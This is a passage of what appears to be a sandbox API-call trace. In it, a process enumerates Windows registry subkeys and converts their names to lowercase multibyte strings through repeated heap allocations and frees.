lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0136.749] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0xa9c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0136.749] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.749] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.749] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.749] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.749] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0xa9b930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0136.749] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0136.749] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0xa9c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0136.749] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.749] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.749] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.749] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.749] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0xa9b930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0136.749] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.749] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0136.749] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.749] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.750] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.750] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.750] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0xa9b930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0136.750] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0136.750] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0xa9c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0136.750] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.750] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.750] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.750] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.750] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0xa9b930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0136.750] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0136.750] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0xa9c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0136.750] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.750] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.750] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.750] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.750] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0xa9b930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0136.750] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0136.750] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0xa9c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0136.750] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.750] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.750] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.750] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.750] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0xa9b930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0136.751] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.751] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0136.751] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.751] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.751] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.751] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.751] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0xa9b930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0136.751] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0136.751] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0xa9c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0136.751] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.751] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.751] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.751] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.751] RegEnumKeyW (in: hKey=0x24, dwIndex=0x28, lpName=0xa9b930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0136.751] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.751] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0136.751] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.751] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.751] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.751] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.751] RegEnumKeyW (in: hKey=0x24, dwIndex=0x29, lpName=0xa9b930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0136.752] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0136.752] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0xa9c0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0136.752] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.752] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.752] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.752] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.752] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2a, lpName=0xa9b930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0136.752] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0136.752] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0xa9c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0136.752] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.752] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.752] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.752] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.752] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2b, lpName=0xa9b930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0136.752] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0136.752] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0xa9c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0136.752] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.752] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.752] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.752] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.752] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2c, lpName=0xa9b930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0136.752] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0136.752] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0xa9c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0136.752] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.752] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.753] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.753] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.753] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2d, lpName=0xa9b930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0136.753] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0136.753] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0xa9c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0136.753] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.753] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.753] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.753] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.753] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2e, lpName=0xa9b930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0136.753] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0136.753] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0xa9c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0136.753] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.753] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.753] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.753] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.753] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2f, lpName=0xa9b930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0136.753] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0136.753] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0xa9c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0136.753] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.753] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.753] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.753] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.753] RegEnumKeyW (in: hKey=0x24, dwIndex=0x30, lpName=0xa9b930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0136.753] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0136.753] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0xa9c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0136.754] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.754] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.754] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.754] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.754] RegEnumKeyW (in: hKey=0x24, dwIndex=0x31, lpName=0xa9b930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0136.754] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0136.754] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0xa9c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0136.754] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.754] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.754] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.754] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.754] RegEnumKeyW (in: hKey=0x24, dwIndex=0x32, lpName=0xa9b930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0136.754] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0136.754] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0xa9c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0136.754] RegEnumKeyW (in: hKey=0x24, dwIndex=0x33, lpName=0xa9b930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0136.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0136.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0xa9c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediacenterperipheral", lpUsedDefaultChar=0x0) returned 21 [0136.754] RegEnumKeyW (in: hKey=0x24, dwIndex=0x34, lpName=0xa9b930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0136.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0136.755] RegEnumKeyW (in: hKey=0x24, dwIndex=0x35, lpName=0xa9b930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0136.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0136.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0xa9c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messengerservice", lpUsedDefaultChar=0x0) returned 16 [0136.755] RegEnumKeyW (in: hKey=0x24, dwIndex=0x36, lpName=0xa9b930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0136.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0136.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0xa9c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft reference", lpUsedDefaultChar=0x0) returned 19 [0136.755] RegEnumKeyW (in: hKey=0x24, dwIndex=0x37, lpName=0xa9b930, cchName=0x104 | out: 